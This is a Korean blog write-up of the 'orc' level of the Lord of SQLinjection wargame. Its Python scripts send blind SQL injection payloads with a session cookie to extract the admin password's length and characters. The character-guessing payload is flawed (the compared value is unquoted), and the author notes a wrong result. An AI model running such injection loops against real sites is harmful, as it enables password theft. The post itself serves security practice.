본문 바로가기

모의해킹/Lord of SQLinjection

orc

728x90

문제 정보

* addslashes() 함수 : 데이터베이스의 질의에서 처리할 필요가 있는 문자 앞에 백슬래시를 붙인 문자열을 반환한다.

 

문제 풀이

1. 실행이 안되는 거 확인

# 을 평문으로 입력 했을 때, 주석 처리가 안된다. -> %23으로 인코딩해서 보내면 주석으로 인식됨(URL 인코딩)  

 

2. admin의 pw 을 찾아야 한다.(페이로드 작성)

 2.1 해당 url이 정상적으로 작동되는지 확인

import requests #모듈

# 해당 url 주소 
url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'

# cookie 값 설정
cookies= {'PHPSESSID':'godmh5ifrg9tf9ado5b28brnan'}

# response 값 req 변수에 저장
req = requests.get(url,cookies=cookies)

# 상태 코드 확인 및 응답 값 출력
print(req.status_code)
print(req.text)

 2.2 pw 길이 값 구하기

import requests

url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'

cookies= {'PHPSESSID':'godmh5ifrg9tf9ado5b28brnan'}

# 패스워드 길이 구하기
for i in range(1,10):
    params = "pw='or length(pw)="+str(i)+"and id='admin'%23"
    req = requests.get(url,cookies=cookies,params=params)
    if "Hello admin" in req.text:
        print("패스워드 길이는 ",i)

 2.3 pw 값 구하기 (pw 4번째 값 이상함.... )

import requests
import string

string = string.ascii_letters + string.digits

url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?'

cookies= {'PHPSESSID':'godmh5ifrg9tf9ado5b28brnan'}

ch = ''
# pw 값 구하기
for i in range(1,9):
    for j in string:
        params = "pw='or substr(pw,"+str(i)+",1)="+str(j)+" and id='admin'%23"
        req = requests.get(url,cookies=cookies,params=params)
        if "Hello admin" in req.text:
            ch += j
            print(ch)
            break

 

 

 

 2.4 구한 pw 입력

'모의해킹 > Lord of SQLinjection' 카테고리의 다른 글

darkelf  (0) 2023.06.01
wolfman  (0) 2023.06.01
goblin  (0) 2023.05.29
cobolt  (0) 2023.05.28
gremlin  (0) 2023.05.28